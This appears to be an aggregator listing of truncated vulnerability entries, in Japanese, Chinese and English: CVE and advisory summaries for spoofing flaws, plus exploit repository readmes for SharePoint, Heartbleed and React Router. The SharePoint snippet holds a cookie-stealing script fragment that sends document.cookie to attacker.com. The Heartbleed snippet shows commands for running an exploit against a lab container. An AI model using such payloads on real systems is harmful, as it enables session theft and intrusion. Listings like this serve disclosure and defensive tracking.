CVE-2026-32201-exploit

概要 CVE-2026-32201 用の Python エクスプロイト - Microsoft SharePoint Server における不適切な入力検証により、認証されていないネットワークスプーフィングが可能になります C:L/I:L。 影響を受けるバージョン: SharePoint Server 2016 Enterprise、2019、Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint /layouts/15/notify.aspx 出力例: + SharePoint...

heartbleed

心脏出血 执行心脏出血漏洞利用 python heartbleed.py 127.0.0.1 -p 8443 搭建并运行服务器 安装 Docker 并运行守护进程 使用 docker pull hmlio/vaas-cve-2014-0160 安装 Docker 容器 使用端口映射运行容器：docker run -d -p 8443:443 hmlio/vaas-cve-2014-0160 打开浏览器并访问 https://localhost:8443/ 伪造数据 cd dataspoof npm install node senddata.js 编辑前端 单个文件 docker cp...

Pre-render-data-spoofing-on-React-Router-framework-mode-CVE-2025-43865

欢迎使用 React Router！ 一个现代、生产就绪的模板，用于使用 React Router 构建全栈 React 应用程序。 功能特性 🚀 服务端渲染 ⚡️ 热模块替换（HMR） 📦 资源打包与优化 🔄 数据加载与变更 🔒 默认使用 TypeScript 🎉 TailwindCSS 样式支持 📖 React Router 文档 快速开始 安装 安装依赖： npm install 开发 使用 HMR 启动开发服务器： npm run dev 你的应用将在 http://localhost:5173 上可用。 生产构建 创建生产构建： npm run build 部署 Docker 部...

CVE-2026-19441

Missing authentication for critical function vulnerability in IKAS Technology Inc. Rush allows Fake the Source of Data. This issue affects Rush: through 21082026. NOTE: The vendor was contacted and it was learned that the product is not supported...

PT-2026-56728

When the upstream Guardian or CMC was configured in the Remote Collector via n2os-tui, the generated configuration disabled TLS certificate verification, and no option was provided to enable it. A malicious actor could perform a man-in-the-middle attack and intercept the communication between the...

CVE-2026-11348

Improper verification of cryptographic signature vulnerability in HAVELSAN Inc. Liman MYS allows Fake the Source of Data. This issue affects Liman MYS: before release.Master.1107...

CVE-2026-5768

The Frontier X2 device allows unauthenticated BLE read/write access to critical GATT characteristics without enforcing pairing authentication or authorization. This allows attackers within BLE range to perform unauthorized control of device functions, including starting/stopping activities,...

EUVD-2019-20156

Dräger Infinity Acute Care System and Standalone Infinity M540 patient monitors running software versions VG4.1.1, VG4.0.3, and lower contain network message handling vulnerabilities that allow network-adjacent attackers to spoof or tamper with data and cause denial-of-service conditions. Attacke...

PT-2026-45862

Name of the Vulnerable Software and Affected Versions Dräger Infinity Acute Care System and Standalone Infinity M540 patient monitors versions prior to VG4.2 Description A network message handling issue allows remote attackers to inject spoofed or tampered data. This can lead to denial-of-service...

CVE-2026-5768 Fourth Frontier Frontier X Mobile Application, Frontier X2 Missing Authentication for Critical Function

The Frontier X2 device allows unauthenticated BLE read/write access to critical GATT characteristics without enforcing pairing authentication or authorization. This allows attackers within BLE range to perform unauthorized control of device functions, including starting/stopping activities,...

CVE-2026-27693: XML Injection (aka Blind XPath Injection)

Traccar is an open source GPS tracking system. In org.traccar:traccar versions starting at 6.11.1 before 6.13.0, the KML and GPX export functionality writes device names to XML output without proper escaping. An attacker with low privileges can create a device with a crafted name that injects XML...

curl: CVE-2026-5773: wrong reuse of SMB connection

A vulnerability was discovered in curl version 8.19.0 and earlier versions that support SMB. The vulnerability was due to the incorrect reuse of SMB connections across different shares on the same server. This led to data spoofing and access control bypass. The issue was caused by the lack of...

CVE-2026-32014

OpenClaw versions prior to 2026.2.26 contain a metadata spoofing vulnerability where reconnect platform and deviceFamily fields are accepted from the client without being bound into the device-auth signature. An attacker with a paired node identity on the trusted network can spoof reconnect...

CVE-2025-40896

The server certificate was not verified when an Arc agent connected to a Guardian or CMC. A malicious actor could perform a man-in-the-middle attack and intercept the communication between the Arc agent and the Guardian or CMC. This could result in theft of the client token and sensitive...

CVE-2025-40896 Lack of TLS certificate validation when connecting Arc to a Guardian or CMC, in Arc before v2.2.0

The server certificate was not verified when an Arc agent connected to a Guardian or CMC. A malicious actor could perform a man-in-the-middle attack and intercept the communication between the Arc agent and the Guardian or CMC. This could result in theft of the client token and sensitive...

CVE-2025-52998 Chamilo: PHAR deserialization bypass

Chamilo is a learning management system. Prior to version 1.11.30, in the application, deserialization of data is performed, the data can be spoofed. An attacker can create objects of arbitrary classes, as well as fully control their properties, and thus modify the logic of the web application's...

CVE-2026-26014 Pion DTLS uses random nonce generation with AES GCM ciphers risks leaking the authentication key

Pion DTLS is a Go implementation of Datagram Transport Layer Security. Pion DTLS versions v1.0.0 through v3.1.0 use random nonce generation with AES GCM ciphers, which makes it easier for remote attackers to obtain the authentication key and spoof data by leveraging the reuse of a nonce in a...

Inadequate Encryption Strength

Overview Affected versions of this package are vulnerable to Inadequate Encryption Strength due to the use of the random nonce generation with AES GCM ciphers. An attacker can obtain the authentication key and spoof data by exploiting nonce reuse within a session. Remediation There is no fixed...

CVE-2026-26014: Exposure of Sensitive Information to an Unauthorized Actor

Pion DTLS is a Go implementation of Datagram Transport Layer Security. Pion DTLS versions v1.0.0 through v3.0.10 and 3.1.0 use random nonce generation with AES GCM ciphers, which makes it easier for remote attackers to obtain the authentication key and spoof data by leveraging the reuse of a nonc...

CVE-2025-69412

A flaw was found in messagelib. This vulnerability allows a remote attacker to spoof threat data by exploiting the component's failure to properly validate SSL certificates when communicating with the Google Safe Browsing Lookup API. This could lead to malicious content bypassing security checks...